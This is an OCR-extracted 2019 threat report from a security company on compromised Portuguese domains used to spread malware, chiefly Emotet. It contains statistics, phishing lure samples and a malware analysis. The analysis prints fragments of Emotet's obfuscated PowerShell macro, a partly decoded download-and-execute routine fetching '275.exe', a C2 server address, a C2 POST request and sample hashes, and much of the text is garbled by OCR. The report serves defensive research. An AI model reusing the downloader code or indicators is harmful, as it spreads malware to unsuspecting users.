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The information expressed in this document is property of Cipher. Although it can be disclosed,
distributed, copied, read, used, printed or accessed by anyone, as long as all the Cipher credits are
respected. The previous statement is protected by the effective law.
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We are living in an era where malware is a part of our cyber life and a real threat that professionals
need to be equipped to face. The term malware has made headlines as a result of widespread
waves of malware and phishing campaigns.

In Portugal, there is a lack of data regarding the compromise of Portuguese domains and the type of
malware used for these attacks. In this report, we show that Portuguese domains have been used in
malware campaigns and we performed an analysis of these ones regarding the number of incidence
in Q1-Q4 of 2019. Additionally, we demonstrate that Emotet was the most spread malware around
the globe and was reinforced with fresh capabilities on mid-September 2019; including the use of
the Ryuk ransomware.

This information should be harnessed by cyber professionals to protect their people, organizations
and data throughout the implementation of the right security resources by default in their business.
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Malware is a piece of software that is intended to cause damage on the targeted systems or
networks. This computer program is quite different from the legitimate ones in the way that most of
them have the ability to spread themselves in the network while remaining undetectable, avoiding
antivirus detection, causing changes and critical damage on the infected systems or networks.
Advanced techniques of persistence are used to maintain the malware active for a long time,
potentially impacting a specific and targeted system for months, years or even decades.

According to the abuse databases scrutinized in this report, we observed cybersecurity incidents
using the Portuguese TLD (.pt) in several malware campaigns in-the-wild. These domains typically
support the first phase of the infection chain or make phishing landing pages available. After that,
the victim is invited to download the malware from the compromised server and the infection
process is initiated.

Between malware waves, new hosts are compromised with the unique intent of supporting the first
stage of a malware chain. In general, those servers are running old and unpatched versions of
software including unfixed Content Management Systems (CMS) such as Joomla® or WordPress®.
Also, successful brute-force attacks are performed as the administrative passwords are poor, or
even password spraying is used to get privileged access on the target system using data from the
most impacted data breaches available on the Internet.

Lately, other unpatched services such as Remote Desktop Protocol (RDP) or Server Message Block
(SMB) have been used by threat actors to conduct a number of successful attacks. Bluekeep (

) and Eternalblue ( ) are the most active attacks in-the-wild exploring
existing vulnerabilities on those services.
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The modus operandi of the malware chain observed along this study is usually simple, as follows:

1. Malware operators initiate a malware release and new hosts are compromised to host the
target malware. This step is crucial to spread the threat; it works as a malware repository.

2. Social engineering attack vectors are performed to distribute malware around the world or to
a specific and target location.

3. In specific kinds of malware such as Emotet, a Microsoft Word file with a malicious macro
embedded is used to achieve the next malware stage.

4. The malware is downloaded from the compromised host.

5. The malware performs malicious tasks.

6. Infected hosts communicate with the C2 server, a server managed and owned by malware
operators.

Further tasks can be executed from this point such as lateral movement, post-exploitation of new
services or network penetration and still dropping additional payloads including ransomware to
finish the chain.

New hosts are compromised
to host target malware
- O ==
==
- L} 1 1

Malware operator Compromised hosts C2 Server

Phishing wave is launched Malware is downloaded

? Malicious
communication
l | |
b P | ooc | Iza .Em

Doc file with malicious macro Infection process
to get to the next stage

Figure 1: High-level overview of a malware chain.

This report highlights a graph representation of some of the affected domains used to host online
phishing landing pages, and typically distributing the targeted malware then executed on the victim’s
side. As observed in Figure 2, in general, the downloaded malware is also available to download on
the same server that hosts the phishing page. There is a high chance those servers are maintained
by the same threat group, that uses the server to support the next stages of a malware chain. In
detail, the infection chain can start with VBA macros embedded in document files, and even via
target landing pages of phishing campaigns.
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Portuguese domains were gathered from malware feeds and indicators of compromise (IOCs) lists
and were then analyzed on VirusTotal. Here, we can confirm that these domains were used to
spread malware files and phishing landpages (Figure 2).
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Figure 2: Graph representation of two compromised Portuguese domains (.pt) from VirusTotal.
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Although most of the domains have been used to serve malware chains, phishing campaigns were
also identified using the domains. As depicted in Figure 3, campaigns targeting Portuguese
organizations such as_ (EDP) and also_ (AT)
were noted.

g
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2 RO O SE LI Fo AT
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Figure 3: Phishing campaigns targeting and A7 in Q3 2019.

From the acquired data, a total of 377 Portuguese domains from the .pt TLD were used to spread
malware in-the-wild during 2019. As observed in Figure 4, there was a peak of compromised
domains between January and April, with a significant volume of 85 domains. In the following
months, there was a sharp decrease, with 8 compromised domains registered in August. Closing
the third quarter of 2019, September registered a significant increase with 17 legitimate domains
compromised and used in-the-wild to support malware threats. December with 29 domains opened
doors to 2020 indicating that the beginning of the new year should maintain the observed trend.
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Figure 4: Number of domains (.pt) compromised during Q1-Q4 of 2019.

Domains Grouped by Category
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Figure 5: Compromised Portuguese domains (.pt TLD) grouped by category.

From the total, we organized all the compromised Portuguese domains according to the country
where the server was hosted and available (Figure 6). The greatest portion is relative to Portugal,
with 58.6% of the compromised servers, followed by the United States of America with 16.2%, the
United Kingdom with 6.6% and France with 6.4% of the total.

9 - A LANDSCAPE OF MALWARE USED ON THE PORTUGUESE TOP LEVEL DOMAIN - THREAT REPORT AND EMOTET TRIPLE CHAIN ANALYSIS IN 2019



C
PUBLIC cipher

Webservers Grouped by Country
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1,6%
Germany
4 0%
Italy
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20,6
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Figure 6: Compromised webservers grouped by location from the total of analyzed Portuguese domains.

Figure 7 shows the details related to the domains and compromised servers during Q1-Q4 2019. As
shown (1), 79% of websites were available on servers with Apache installed (79%), 17% with Nginx
and 4% Internet Information Services (IIS).

From the second graph (2), PHP® stands out for the technology most present in the total of
compromised servers, with a volume of 93%. Only 7% is distributed between ASP and pure HTML
websites. WordPress® was the CMS most affected by criminals (3), with a total of 60%, followed by
Joomla® with 31% and a slice of 9% reserved for other kinds of platforms.

Regarding WordPress® releases (4), we identified that 83% had installed a 5.x version, and 17%
were totally obsolete and without support from the WordPress® team. Also, 16% with 4.x and 1%
with 3.x versions were noted.

On the other hand, the graph 5 shows that 61% of Joomla® websites ran a version 3.x, 38% the
version 2.x, and 1% the version 1.x.
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Figure 7: Details about the compromised webservers (1), used technology (2), and Content Management
System - CMS (3,4 and 5).

After this analysis, we found that many websites are not operating or are currently abandoned so
far. A large portion also includes development systems, with older and vulnerable versions, which
are now used by threat actors to distribute malware and malicious campaigns in-the-wild.

As observed in Figure 8, Q1 and Q2 were compromised many domains, with 41.3% of analyzed
domains and 47% on Q2. Q3 denotes an exponential decrease and that is directly related to Emotet
absence. In Q4 a growth trend is again noted.

Compromised Domains Grouped by Quarters 2019

Q4

15,9%

o

A

Figure 8: Compromised domains grouped by quarters 2019 (Q1-Q4).
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Grouping the number of threats, Emotet was used on 141 domains as illustrated in Figure 9, and
this represents more than '3 of the total of collected domains during Q1-Q4 of 2019. Loki
ransomware is placed on the 2nd position with 46 domains used to reproduce phishing campaigns
and to distribute itself. AgentTesla, Ryuk and AZOrult are in the next positions.

Number of Threats

RemcosRAT
DanaBot
Nymaim
Lampion
Pony
Formbook
NanoCore
HawkEye
Troldesh
Zeus
Generic Threat
AZORult
Ryuk
AgentTesla
Loki

Emotet

141
0 50 100 150

Figure 9: Total of threats in Q1-Q4 2019.
Next, after analyzing the domains separately, we found that more than }3 of the compromised

domains in Portugal were used in Emotet campaigns with a total of 37.4% (Fig 10), followed by Loki
(13.5%) and AgentTesla (10.9%).

Total of Threats Q1-Q4 2019

Formbook

Nanc&ore
2,49
HawkEye
3.4%
Troldesh
4 0%
Zeus
B 0%

Generic Threat

T AU

AZORult

o Ryuk

&%

Loki AgentTesla

13,5% 10,9%

Figure 10: Pie chart total of threats Q1-Q4 2019.
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Malware infections can be divided into different families (Figure 11), taking into account their mode

of operation. The majority of infections identified were carried out using the banking family with an
incidence of 40.1%, followed by Credential Stealer (24.1%) and Keylogger (13.8%).

Infections by Malware Family

Botnet
5,0%
RAT
5,6%
Ransomware
11,4%
Banking
40.1%
Keylogger

13,8%

Credential Stealer

24 1%

Figure 11: Infections by malware family.

Q1 and Q2 2019 are the quarters where high volume domains were compromised. 131 domains
were compromised in Q1 and 149 during Q2. Along Q3 were observed 37 and Q4 with a new grow
of 60 domains managed and used on malicious scenarios by threat actors.

Total of Malware Volume by Family Q1-Q4 2019
Bo HQ Wa B4
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Banking Keylogger Credential Stealer  Botnet RAT Ransomware

Figure 12: Total malware volume by family on Q1-Q4 2019.

13- - THREAT REPORT AND EMOTET TRIPLE CHAIN ANALYSIS IN 2019



C
PUBLIC cipher

Emotet trojan banker is seen as the predominant threat throughout the year 2019. However, and
according to Figure 4, there was a decrease during Q3 in the number of compromised domains
used to distribute malware or at least detected and reported around the world, including Portugal.
This decrease has a reason behind it, and once again, we need to reference Emotet malware as the
principal cause of that scenario. As noted, there was an absence of Emotet’s activity after June and
extending to July and August. The legitimate explanation for this slowdown was a fresh release
which took off in mid-September 2019. This strike, however, has highlighted other less impactful or
popular banking trojans.

According to a from the DarkReading, “Emotet re-emerged toward the end of
September, ending a months-long hiatus that gave banking Trojans and remote access Trojans
(RATs) room to increase in the third quarter’.

, the threat group behind Emotet, re-emerged with new Emotet campaigns in September and
researchers from a large group of security firms noticed differences in how it was operating. The
group mainly followed the same template observed in the past (Figure 13). The emails are targeted
with local-language baits and brands. Messages often had financial themes and contained
malicious attachments or links to malicious documents with VBA macros that, when enabled,
installed Emotet on their machines.
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Monday, April 28, 2019 at 4:13 AM
Show Details

Lieber partner,

Bitte iberweisen Sie die anliegende Rechnung auf unser Konto.
Vielen Dank.

Uber unten stehenden Link haben Sie die Méglichkeit, die

Re: RE: e—ws= sl ciesww

Mary
Tuesday, April 30, 2019 at 9:44 AM
Show Details

—= B17682141771_Apr_...
—= 270.2KB

“15 Dowinload Al Preview All

Please find attached a copy of your document,

Rechnung ei h https://uctui.cz/DOC/support /vertrauen/20819-84/
|
= == ==}
—--Original Message—---
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o omm R e  e— s s ——— -
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272.4 KB 2016 KB
5 bownload All <= Preview All L5 Download Al = Praview All
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DE_RD
Figure 13: Common phishing emails spreading Emotet ( ).
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Halloween 2019 was also an attractive chance to propagate Emotet’s messages with weaponized
Microsoft Office documents containing macros that, once executed, downloads the next malware
stage (Figure 14).

Halloween invitation

@ REDACTED

Show Dotails

= Hapey Hallowoen.doc
. aka

Dowwnload All Praview All
Dear Neighbors and Friends,
It is Hallowsen and time for TREAT OR TRICK.
Please join us for & casual dinner party on Malloween night, Oct. 31, 2009 stacting at 6:08 pm, Come and say helle to your neighbers and enjoy some Food and deinks.

W are looking forward to a fun day and kindly respond with an email to make sure we have enough TREAT for you.

Details in the attachment.

REDACTED

Halloween party invitation

REDACTED

Show Details

: Hulk.-.maan.dn:
OKB

Goad Afternaon HEDACTED

Please join us for a casual dinner party on Halloween night, Oct, 31, 2019 starting at 7:30 pm. Come and say hello to your friends and enjoy some food and drinks.
We are looking Farward te a fun day and kindly respond with an email to make sure we have enough TREAT for you.
The Michael will bring drinks, thank you |

Address and invite list in attachment.

REDACTED

Figure 14: Emotet phishing emails on Halloween 2019 ( ).
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Also, a reference to Greta Thunberg was used to spread Emotet’s campaigns at the end of 2019.

From o 9 Reply 9 ReplyAll ¥ - Forward More ¥
Subject Support Greta Thunberg - Time Person of the Year 2019 09:29
Te -,cu.jp)ﬁ

MERRY CHRISTMAS

You can spend Christmas Eve looking for gifts for children. They will tell you Thank you only that day.

But the children will thank you all their lives if you come out for the biggest demonstration in protest against
the inaction of the government in connection with the climate crisis.

Support Greta Thunberg - Time Person of the Year 2019

I invite you. Time and address are attached in the attached file.

FORWARD this letter to all colleagues, friends and relatives RIGHT NOW, until you forget!

Many thanks.

Figure 15: Emotet template: Greta Thunberg - Time Person of the Year 2019 ( ).

Emotet spreads using Microsoft Word documents with malicious macros on it. Threat actors
regularly update the visual lure used in the documents. The following collage shows many of the
lures used in Emotet’s waves.

[

u ofﬁce This document is protected u Oﬁlce

NEE 0 oS
= Q= OFEE

e e 2

Something went wrong

] Office 1] Office 365 Qo

i This fant are mising alter upgrads.
R E M yourd like 1o use thise font, you'l need 1o install &
) Enable Liditing 1 Erable Content 3 ki pomigm g

You need o be oshne for e Office 365 Undite service 10 work

Figure 16: Word documents lure message used by Emotet ( ).
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Although Emotet covers longstanding targets such as the US, the UK, Canada, Germany, and
Australia, TA542 expanded target countries to include ltaly, Spain, Japan, Hong Kong, Singapore
and Portugal.

The banking trojan disappeared over the summer and last September dropping a new
collection of malware including information stealers, email harvesters, self-propagation mechanisms
and ransomware (Ryuk was seen on several Emotet’s fresh samples -

).

Emotet started its activity in 2014 as a trojan banker, notwithstanding it is now used by its operators
to deliver other threats. Figure 17 shows the infection chains of Emotet observed over the years.
Nowadays, Emotet has been seen downloading Trickbot as the 2nd stage and completing the chain
dropping the ransomware called Ryuk. Typically, another two ways were also noted over the years
(Dridex dropping BitPaymer and Qbot dropping MegaCortex was a final stage).

i EM’@F-ET l

v
O O O
e
DRIDEX TRICKBOT QBOT
BITPAYMER RYUK MEGACORTEX

Figure 17: Possible infection’s chains of Emotet campaigns.

In fact, Emotet can be seen as a vehicle to distribute malware in-the-wild due to its modularity.
Many times called a botnet, Emotet has re-emerged and some incidents were also noted targeting
Australian businesses, individuals, critical infrastructure and government agencies,

“The Australian Cyber Security Centre (ACSC) raised the alarm late last week that the malicious
software had been infecting devices in Australia through phishing emails.”
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Whilst undertaking this report, we analyzed some samples using Portuguese domains (.pt) as an
initial point of proliferation in order to understand if any of the samples were targeting Portuguese
organizations. From the study, it was concluded that threat actors only compromised mass domains
(generally WordPress or Joomla installations) with the aim of distributing the threat on a large scale.

In general, Emotet modus operandi can result in the following schema and scrutinized in Figure 18.

m g O

£y A
EM@ITET
Command line Powershell
downloads
4 Emotet

‘ TRIC!{(BOT
. Gets Outlook contacts
Dlsabl_es AV Steal$ and spreads itself via
Services Credentials phishing emails
Lateral movement Creates persistence
Harvest Data Samba Shares on the target system
Phishing email Macro in Word Doc
launches a Powershell oo Lo i i e o e s
command to download the
next stage from the
compromised hosts
Drops additional
payloads
L ——

n il

RYUK

C2 Server

Figure 18: Last observed Emotet’s infection chain finishing with a ransomware deploy.

According to the analysis of some samples that had been using the Portuguese TLD, we observed
some samples using PDF files with embedded links so that a PE file was downloaded from
compromised servers. While most samples used macros in Microsoft Word files to download
malicious files, has been noted the use of WScript to execute a JScript to install a malicious
payload.

After opening the weaponized Microsoft Office file, a typical template is presented. Emotet macros
are coded inside the doc file, with a lot of meaningless code commented in it - an old technique
used to perform antivirus evasion.
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Microsoft Office Activation Wizard

Microsoft Office

Activation Wizard

Thank you. Your copy of Microsoft Office is activated.
To make you changes take effect, click Enable Editing and Enable Content.

1) Office

Figure 19: Lure image presented on the weaponized Microsoft Office file.
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When the execution of the macro content is enabled, a VBA AutoOpen macro is executed on the
victim’s computer. As expected from the Emotet VBA script, the strings are complex and obfuscated
and contain a lot of fragmented strings. This is a well-known technique that makes it difficult to

detect malicious content with a static analysis engine.
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AcCABrAGMAZWBrAGEAYWBrAHgAIWA=

—-—-——-Decoded base&4————
SLdvsxwbvgfv="T h

STpfoxeqds
$Clalosug=""
$Htrenhgezwzy=§env

Aotk WN PO

$ckacsieuugm="Tnl
$Izfwtzpoe=&('n'+"
$Axvsoxyner=';

@

L R S Ty Ty

powershell -enco- JABMAGQRAgBzAHgAdwWBiAHYACOBMAHYAPOANAEQACABrAHOA=OBSAHOAAAANADSAJABMAHRARGEvAHGAZOBXAGOAegBhACA
APQRGACCAMgA3IADUATWATACQROWBSAGERALAB] AGUAdOEBXADIATWEWAGMAa OBoAHOAYWE3AGOAdgBNAHCAZWBSACCACWAKAEGAABYAGUALgBoAGS
AZQBEAHcA=gBSADOATABlAGAAdgAGAHUACWBl AHTAcABYAGARAZgBpAGWAZ QR ACCANAANACSAJABMAHAA ZgBvAHgAZOBEXAGQAe gBhACS ATWAUAGT
RAeABlACCAOWAkAECAawBhAGMACWBRAGUAdQBIAHEALOASACCAVABLAGWAZgBtAGY AaABtAGTIALOB6ACCAOWAKARkA=gBmAHCAdABEAHAAYWBI1ADD
AJgRoACcAbgAnACSAJWBlAHCALOBVAGIAagAnACSAJWwBlAGMAAANACKATABOAEUAdAAUAHCAZOBI AGMATABPAGUATgE0ADSAJABBAHgAdgB2AGSE
ReRBSAG4AZCBYADOATWBORHQAJABWAHMACGAVACBAYgBSAGBAZWAUAHRARCGBl AEMACWE3AGUAYgB2AC4RYWBVvAGOALWE ] AGCRaQALAGIRAaQBuACS
AbQBLAGYAbABXADgAWGASACEARGBoAHQAABWAHMAOGAVACE AdwBpAGQAZQB3AGUAYgEPAHQALyE] AGBALQAVAGOAZQBUAHCAZQBEKACSAMABRANM
ALwAGAGgAJRBOAHARCWAEAC SALWBiAGWAbWBNRACY AdwBpAG4ALABRAGYAZQBpAG4AZgEvAHMAC OB zAC4AYWBVAG DALij AGCRaQATAGIRaQBuUACSE
AROBTADQATOAVACORAABUAHQACAEzADOALWAVAHCALOBZAC4RAdgEpAGAAYWBlAEMAawEPACWALABPAGEAbgRUACHALWE L ACEAdWEWAC DRAaQBuAGH
AbABlAGQRZOBzACEANWE4AHARCgEnAEKAVBEAGOATWAGAGYRARBOAHARCWAEACBATLWERAGGRALOElAGCAYQB2AGKACWEDAGE A bgRUACMALWBLACE
AaQBtAGEAZWBlAHMATWA3ADMALABRAF4A=OBCAEOALWANAC4ATgBzAGAAUABSAEKAVARI ACgATWAGACCARQATACOAWABSAGORAAB2AGEAZWB2AD0D
AJwBUAGBAdgBWAHIAAQBVAHEALgBOAGCACQANADSAZGBvAHIAZOBhAGMAaAROACQAUABZAHUAeCB4AGUACWB I AHTAaOB6AHKATABPAGAATARKAEE
RAeRBI2AHMALWB4AHKAbgBlAHIARQBTAHQACGBSAHSAJABIAHOAZgE3AHOA gBWAGMAZQAUACTARABVAHCAYABOAGWATWEBAGAARABMAGKATABFACT
ARAAKAFAACwBlAHkAeABtAHMAJQBYAGkA=gBSACWATIARKAEGAdABYAGUAbgBoAGCAZQBEAHCAegBSACKAOWAKARBAJABMAGOAZABMAHkAYgBnAHE
RawBOADOAIWBVAGWACABlAHgAcWByAHEACgBWACCACOWBIAGYATAROACGALgRAOACCARWEL AHQALOBJAHQATWAr ACCAZOBLACCARQAGACQASABOART
RZQBuUAGYAZWBlAHOAAWBEAHKARQAUACIALABFAGA ARWBgAFQASAR I ACAAT.OBNAGUATARzADT ANGAWADEARQAGAH sSAWWBEAGKAYOBNAG4RbwBzAHD
RaQBjAHEMALGBQAHIALWE]AGUACWBZAFDACGAEACIAUWEGAFQRAQQBSAHQAIgAOACCASABIAHIAZOBUAGYRZWELAHOAdWEEAHKARQRTACQAVGESAGS
AdgBoAGIRAagBOAGIAdCASACCAUOB2AHMAa ARl AGYAcOBYAGMAdyBi AEMATWATAGIAcgBlAGEAawA TACOAUGB] AHgAYwEwAHCAegBzAGMACAB 2 AHU
APOANAFgAdABZAHEAJOBiAGgRASABEAGORLOBYACCAfOBYAGMAYOBOAGMAAABTAHOAfOAKAEsSAegBrAHcAagBvAGOAZWE 2 AHOAPOANAFOAcABZAGM

W

$¥1dhvagy="Tovprio

foreach ($Psuyxmsurizyin$Axvsoxyner) { P ortu g uese TL D
try{
Sizfwtzpce. "Do

" ($Psuyxmsurizy, $Htrenhgezwzy) ;

JabwbhrPEo

Tt'+'c;m') $Htrenhgezwzy) . " LEnG TH"-ge32509) {
[Diagnostics.Process] 'TnEt" ($Htrenhgezwzy) ;
$Vlovhbjtbu='Cvsh
break;
SRexepwzsapsu='

}

W W W W W W W

w @

}

catch{}
}
$Kzkwjojgwz="'Tx

B B B B W)
N R S

@ = o

Figure 20: Emotet’s VBA macro obfuscated and Portuguese TLD hardcoded in it.
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Cc
PUBLIC cipher
As observed, some compromised domains are presented inside the macro code, including a
Portuguese TLD. After some deobfuscation interactions, the payload can be observed in a more
readable form in Figure 21.

22 —-—— Decoded bass64-—-—-

Starget="https:// com/cgi-bin/mRFfIWEZS/ *https:// .com/ jenwed/00s/*
https:// . ¢ -comf/cgi-bin/F54M/*https:/F ; " ecom/wp—includes/TxprgyVad/*
https: //www. pt/images/T31QNyBM/ . " split |"*') -

Flforeach($item: in Starget) {
try{

t.DownloadFile (3item,  "Senv:userprofile\2T73.exe") ;

& (New-Cbject  Systen.Net.WekClie X
Zul :=") .length. —ge.32509) {

= If (Get—Ttem. "Senviusserprofile

userprofiled\275.exe") ;

[Diagnostics.Process] ::"Start
32 = break;

Figure 21: Deobuscated Emotet’s VBA macro with Portuguese TLD hardcoded in it.

In detail, this can be seen as a living off the land (LOTD) technique used to evade antivirus engines
and to bypass the signature detection phase.

At this point, Emotet launches a Powershell request that downloads the next malware stage from
one of the compromised domains. The malware (275.exe file - line 31) is executed in memory and
starts the infection chain.

Lately, Emotet has been seen with these capabilities:

Active Directory (Windows Logon) username and password credentials
Brute-force local accounts using hardcoded credentials

Credentials entered by users on banking websites

Contents of locally stored emails

Network sniffing

Local process enumeration

Emotet collects a lot of sensitive information, including system name, location and operating system
version, and connects to a remote C2 server, generally hardcoded and encoded. Also, an RSA key
is used to encrypt the TCP communication with the remote C2 server, also known as command-
and-control (C&C). That key and other kinds of instructions and data are encoded and hardcoded
inside malware.

Once Emotet establishes a connection with the C2 server, it reports a successful new infection,
receives additional configuration data, downloads and runs extra payloads, receives instructions,
and exfiltrates acquired data to the C2 server (passwords, cookies, etc).
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PUBLIC

. @fvertmme exe

A vertmme exe
Aspvertmme exe
4.30:5... gQvertmmc.exe

7016 BACreatefie c:
7016 BhCreatefile
7016 gQuewBaslclnfor...
7016 (A CloseFile
7016 [EhCreateFile o
7016 BACreatefie c:
7016 [BhQueryBasiclnfor...C
7016 [BhCloseFile
7016 BhCreatefile cal
7016 [BhCreateFile o
7016 9«0uew8asiclnfor...
7016 BhCloseFile
7016 [BhCreatefile
7016 @QuewBaslclnfor...
7016 [EhCloseFle c
7016 EhCreateFile o
7016 B QueryBasiclnfor...C

\Users\root

“Wsers'root

\Users'root

\Users'root

\Users'root\AppData‘Local
\Wsers‘root\AppDataLocal
“WUsers\oot\AppDataLocal
\Users‘root'4ppData'Local
Users‘root'\AppData‘\Local
\Users'root\AppData‘Local
\WUsers‘root\AppDataLocal\
\Usersroot'\App DataLocal®
\Usersroot'4ppData'Local
\WUsers‘root\4ppData‘Local
“\Users\root\AppData’Local\l
\Users'root\AppData‘Local\
“\Users‘root'\AppData‘Local’

Ccipher

NAME COLLISION Desired Access: R...

SUCCESS Desired Access: R...
SUCCESS Creation Time: 9/7/...
SUCCESS
NAME COLLISION Desired Access: R
SUCCESS Desired Access: R...
SUCCESS Creation Time: 5/7/...
SUCCESS
\Microsoft\Windows\INetCookies NAME COLLISION Desired Access: R...
\Microsoft\Windows\INetCookies SUCCESS Desired Access: R
Microsoft\Windows \INetCookies SUCCESS CreationTime: 8/7/...
Microsoft\Windows'\INetCookies SUCCESS
\Microsoft\Windows SUCCESS Desired Access: R...
\Microsoft\Windows SUCCESS Creation Time: 9/7/...
Microsoft\Windows SUCCESS
Microsaft\Windows'\INetCookies SUCCESS Desired Access: R
Microsoft\Windows'\INetCookies SUCCESS Creation Time: 5/7/...

aQvertmme exe
a@Qvertmme exe
aQvertmme exe
- @&vertmme exe
aQvertmme exe
5. @lvetmmc exe
aQvertmme exe
avertmme exe
aQvertmme exe
aQvertmme exe
aQvertmme exe
aQvertmme exe
aQvertmme exe
aQvertmme exe
aQvetmme exe
.. @&vertmme exe
aQvertmme exe
a@Qvertmme exe
aQvertmme exe
- @&vertmme exe
aQvertmme exe
aQvertmme exe
aQvertmme exe
... @Svertmme exe
- @&vertmme exe

Figure 22: Emotet collecting cookies data on the compromised computer.

7016 [EhCreateFis
7016 EhCreateFie

7016 gﬂuewﬁaslclnfor...

7016 [ShCloseFie
7016 BhCreateFile
7016 [EhCreateFis

7016 gQuewEasiclnfor..

7016 EhClossFile
7016 EhCreateFie
7016 [BhCreateFile

7016 [BhQueryBasicirfor. .

7016 [Eh.CloseFile
7016 BhCreateFie

7016 gQuewEaslclnfor...

7016 [Sh CloseFile
7016 EhCreateFie

7016 [BhQueryBasicirfor. ..

7016 EhCloseFile

7016 &% ReglueryKey
7016 #¥RegOpenKey
7016 &% ReglueryKey
016 &% RegSetValue
7016 ﬁﬂeg@uew\«'alue
7016 ﬁRegQuew\«'alue
7016 @ RegCloseKey

C:\Users\root NAME COLLISION Desired Access: R..
SUCCESS Desired Access: R..
\ SUCCESS Creation Time: 9/7/...
C:A SUCCESS
C:\Users'root' App Data'Local MNAME COLLISION Desired Access: R
C:\Users\root App Data'Local SUCCESS Desired Access: R..
[C:iUsers‘root\App Data“Local SUCCESS Creation Time: 9/77...
“LUzers\root'App Data‘\Local SUCCESS
C:\Users\root'App Data'Local\Microsoft \Windows \History MAME COLLISION Desired Access: R..
C:\Users'root ' App Data'Local \Microsoft '\ Windows' Histary SUCCESS Desired Access: R
C:\Users\roct' App Data\Local \Microsoft \Windows"\Histary SUCCESS CreationTime: 9/7/...
\Local\Microsaft\) SUCCESS
\Local\Microsoft\) SUCCESS Desired Access: R..
\Local\Microsoft\) SUCCESS Creation Time: 9/7/...
C:\Users\root' App Data'Local\Microsoft SUCCESS
C:\Users'root'App DataLocal \Microsoft \Windows"HistoryHistory. IES SUCCESS Desired Access: R..
C:\Users\root' App DataLocal \Microsoft \Windows"HistoryHistory. IES SUCCESS CreationTime: 9/7/...
C\Users\root'App DataLocal\Microsoft \WindowsHistory History. IES SUCCESS
HKC UnSoftware Microsoft\Windows\CumentVersion\Intemet Settings*5.0%Cache SUCCESS Query: HandleTag...
HKC U*SoftwareMicrosoft \Windows\CumentVersion‘\Intemet Settings"5.0%Cache\History SUCCESS Desired Access: Q..
HKCU*SoftwareMicrosoft Windows\CumertVersion‘\Intemet Settings*.5.0%CacheHistory SUCCESS Query: HandleTag
HKCUMSoftware\Microsoft \Windows \CumertVersion \Intemet Settings"5.0%Cache\Historny\CachePrefix ~ SUCCESS Type: REG_SZ. Le...
HKCUnSeftware™Microsoft \Windows \Cumert Version \Intemet Settings“5.0%Cache\History\CacheVersion SUCCESS Type: REG_DWO...
HKCUnSoftwareMicrosoft\Windows \CumentVersion\Intemet Settings*5.0%CacheHistory\Cache Limit SUCCESS Type: REG_DWO...
HKC U*SoftwareMicrosoft \Windows\CumentVersion‘\Intemet Settings"5.0%Cache\History SUCCESS

Figure 23: Emotet collecting data from browser history and cache.

After some operations, several attempts to communicate with the C2 server can be observed.

4:33:4 .
4:33:4...
4:334..

4334,

avetmme exe
avetmme exe
avertmme exe
@l vertmme exe

7016 @k TCP Connect
7016 &% TCP Send
7016 &% TCP Send
7016 @4 TCP TCPCopy

TCP Receive
Figure 24: Emotet coﬁﬁmunica_tih;cj with the C2 server located in Luxembourg.

DESKTOP-05GDITJ lan:50450 -> 211.183 .29 46 in-addr arpa: 2080
DESKTOP-05GDIT lan:50450 -> 211.183.29 46 in-addr.arpa: 2080
DESKTOP-05GDIT lan:50450 -> 211.183.29 46 in-addr.arpa: 2080
DESKTOP-05GDIT) Jan:50450 -> 211.183.25 46.in-addr.arpa: 2080
DESKTOP-05GDIT.) lan:50450 -> 211.183.29 46.in-addr.arpa: 28080

This C2 sever from Emotet located in Luxembourg (46.29.183.211) is an active C2 server at the

moment we write this report.
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Database Entry

Host:

Hostname:

Status:

Spamhaus SBL:

Malware:
AS number:
AS name:
Country:
First seen:
Last seen:

Last online:

Timestamp (UTC)

2019-11-14 14:.28:21
2019-11-14 10:29:50
2019-11-14 06:31:44
2019-11-13 23:14:58
2019-11-13 12:02:19
2019-11-13 07:22:39
2019-11-13 07:06:35
2019-11-13 06:15:38
2019-11-13 06:12:52
2019-11-13 05:43:33
2019-11-13 05:35:53

Malware Sample (MD5 hash)
2df7d78a15c21%a1 becccTelb2 1aedad
A4799dfb0f0df13b69416b0Tef 7002048
Tdb4e0d5ec69227 2abcd2bfc 11771152
9b687515a6dbl9a2ecadc09573d29866
bi3eabdfe457deale3119%4ad0cd9db
9c4141e897ab22e07a862b7af3dcdede
efa905f32864da7hTIT1bi722196266
0a9f0ae5cdbtad23a56achbd07atds13
11ed2d5aB853b18a8520b%bd4beab99ct
b814093d411288d6{595e10fbdc1b334
Uzadeedd33621df06701453cfdbadd25

46.29.183.211

n/a
[ Oniine

Not listed

ASB0391
PRMG
=Lu

2019-10-03 06:44:54 UTC
2019-11-14 10:15:18 UTC

2019-11-14
vT
¥ 571/ 71(71.83%)
nia

¥ 33 / 69 (47.83%)
b3 44 / 69 (63.77%)
¥ 11/ 69 (15.94%)
¥3 46 / 69 (66.67%)

C3

M52 /69(
»a 9/ 70(12.86%)

¥ 11 /68 (16.18%)

152/ 71

n55/ 7177

Host

46.29.183.211
46.29.183.211
46.29.183.211
4629183211
46.29.183.211
46.29.183.211
46.29.183.211
46.29.183.211
46.29.183.211
46.29.183.21
46.29,183.211

Figure 25: Emotet C2 server and samples of November 2019 (source).

8080
8080
8080
8080
8080
8080
8080
8080
8080
8080
8080

Ccipher

AOOAAAAAAA
)

i

As observed in Figure 26, the data sent to the C2 is encoded and can not be analyzed in a first
glance.

POST request

1 POST. /prov/publish/add/merge/ HTTE/1.1

2 Referer:http://46.29.183.211/prov/publish/add/merges

3 Content-Type:application/x—www-form—urlencoded

4 DNT:1l..Ussr-Agent:Mozilla/4.0 (compatible;MSIET.0;WindowsNT6.1; Trident/4.0;SLCC2; .NETCLR2.0.50727; .NETCLR3.5.307259;

5 .NETCLR3.0.3072%;M=diaCenterPC6.0; .NET4.0C; .NET4.0E)

€ Host:46€.29.183.211:8080

7 Content-Length: 482

8 Connection:FReep-Alive

9 Cache-Control:no-cache. .
10
11 46iy4kVhZ1CTC4F=Laps]BrUM%2Baz%2BJLgz81H7gXuclrkp9fShPFqIvNyYJ7tswSnidfwOExealtpbeI29EMNa%2BhgbxEv4WiXCM%2FFJHECi4KThiZ
12 QHHuS£7yg61EnlovodlQA3WOYDmHEUIgUT$2Emt B2C2VFQpQCIduNERS SEWo] pIp] ¥x2T12kn1BE]l PT9c%2BATMzEahDQTxERT 9% 2BggCWE] dG2sSRO3WOE3QEEL
13 22BQg4ENCYHVEq8vyEGNT 2HRuTAJL50P42 FQLIMY z 1uP3%2F] TuXwCbYbz 8cT3chSEyMY ] WA kbpdFalZyGnuX4NwTBCC92232F1 R4Ya ZwRVOSRIFEtkeET Tu
